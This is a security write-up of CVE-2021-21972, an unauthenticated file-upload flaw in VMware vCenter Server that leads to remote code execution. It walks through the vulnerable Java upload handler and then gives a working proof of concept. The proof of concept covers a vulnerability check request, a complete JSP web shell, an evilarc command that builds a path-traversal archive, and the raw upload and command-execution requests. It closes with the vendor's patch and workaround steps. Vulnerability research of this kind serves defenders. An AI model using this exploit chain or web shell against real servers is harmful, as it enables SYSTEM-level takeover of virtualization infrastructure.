[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)
The vSphere Web Client (HTML5) is essentially an administrative interface that enables management of a vSphere installation. The vSphere Client provides an administrator with access to the key functions of vSphere without the need to access a vSphere server directly. It allows administrators to create new virtual machines and manage existing ones and their resources. As a cross-platform web application, it can be used on all supported operating systems through the supported versions of different web browsers.
CVE-2021-21972 is an unauthorized file upload vulnerability in vCenter Server that leads to remote code execution on remote server. The issue stems from a lack of authentication in the vRealize Operations vCenter Plugin. It received a critical CVSSv3 score of 9.8 out of 10.0. An unauthenticated, remote attacker could exploit this vulnerability by uploading a specially crafted file to a vulnerable vCenter Server endpoint that is publicly accessible. VMware vCenter Server versions 6.5, 6.7
and 7.0
are affected this vulnerability. Successful exploitation of this vulnerability would result in an attacker gaining unrestricted remote code execution (RCE) privileges in the underlying operating system of the vCenter Server. Despite the fact that this vulnerability stems from the vRealize Operations vCenter Plugin, the VMware advisory confirms that this plugin is included in all default installations
of vCenter Server. This means that the vulnerable endpoint is available irrespective of the presence of vRealize Operations.
In original blogpost here, discovery of the vulnerability explained as detailed as possible as well as two separate paths to achieve RCE. For Windows systems, an attacker could upload a specially crafted .jsp file in order to gain NT AUTHORITY\SYSTEM
privileges on the underlying operating system. For Linux systems, an attacker would need to generate and upload a public key to the server’s authorized_keys path and then connect to the vulnerable server via SSH in order to gain vsphere-ui
user privileges. (if SSH service is running and accessible over network)
vropsplugin-service.jar
is a java archive file of vropspluginui plugin and includes some of classes and other related functions and methods. Vulnerable part of the code is illustrated as below. In this code snippet belongs to the ServicesController.class
in controller of vropsplugin-service.jar. As you can see in down below code snippet, the uploadOvaFile
function is responsible for the endpoint/URL that /ui/vropspluginui/rest/services/uploadova
Full path of the vulnerable class: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
As an attacker perspective, the handler for this class is performing the following actions
- Receiving
uploadFile
parameter with POST method request (line 2) - Reading
uploadFile
parameter and writing content of this parameter toinputStream
variable (line 22) - Opening the resulting data as a .tar archive (line 34)
- Retrieved all of the archive’s entries (line 35)
- Copying of each current entry was created on disk using the file naming convention:
/tmp/unicorn_ova_dir + entry.getName()
(line 42 and 47)
Proof of Concept: In order to exploit this vulnerability, you can use the following steps
- Verify the vulnerability
- Create a .tar archive entry contain the string
../../
- Upload crafted archive file to server
- Go to related path and call the file that you upload
/statsreport/uploadedFileName.jsp
To verify vulnerability, you can use the following request
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
If the response of above request is similar to down below responses, it means remote host is vulnerable to CVE-2021-21972
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
After that, we need to create crafted .tar file. For this you can use evilarc. Evilarc is basic python script that allows you create a zip file that contains files with directory traversal characters in their embedded path.
Content of cmdjsp.jsp which is basically webshell
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
With the following command, crafted .tar archive file will have generated.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Then, just upload .tar file to server using the following request
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
Response of the above request is down below
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS
If response status code of above request is 200 OK
and body is SUCCESS
, it means the .tar archive file is successfully uploaded to ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport
path. Due to flow of application, server will extract .tar file into /statsreport
directory. After this stage all you have to do following GET request to remote code execution with NT AUTHORITY\SYSTEM
privileges.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Workaround Solution: VMware has been fixed this vulnerability for 7.0 U1c, 6.7 U3l and 6.5 U3n versions respectively. However if the patch cannot be installed, to implement the workaround for CVE-2021-21972 and CVE-2021-21973 on Windows-based vCenter Server deployments perform the following steps:
- RDP to the windows based vCenter Server
- Take a backup of the file:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
- Open the
compatibility-matrix.xml
file in a text editor - Add this line:
<PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
intopluginsCompatibility
element - Stop and restart the vsphere-ui service using the commands
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
- After that, the VMware vROPS Client plugin can be seen as “incompatible” under
Administration > Solutions > client-plugins
To implement the workaround for CVE-2021-21972 and CVE-2021-21973 on Linux-based virtual appliances (vCSA) perform the following steps:
- Connect to the vCSA using an SSH session and root credentials.
- Take a backup of the file:
/etc/vmware/vsphere-ui/compatibility-matrix.xml
- Open the
compatibility-matrix.xml
file in a text editor - Add this line:
<PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
intopluginsCompatibility
element - Stop and restart the vsphere-ui service using the commands
> service-control --stop vsphere-ui
> service-control --start vsphere-ui
Note that this vulnerability discovered by Andri Wijayanto from Positive Technologies and original research post is available here
For more information, visit the following pages.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html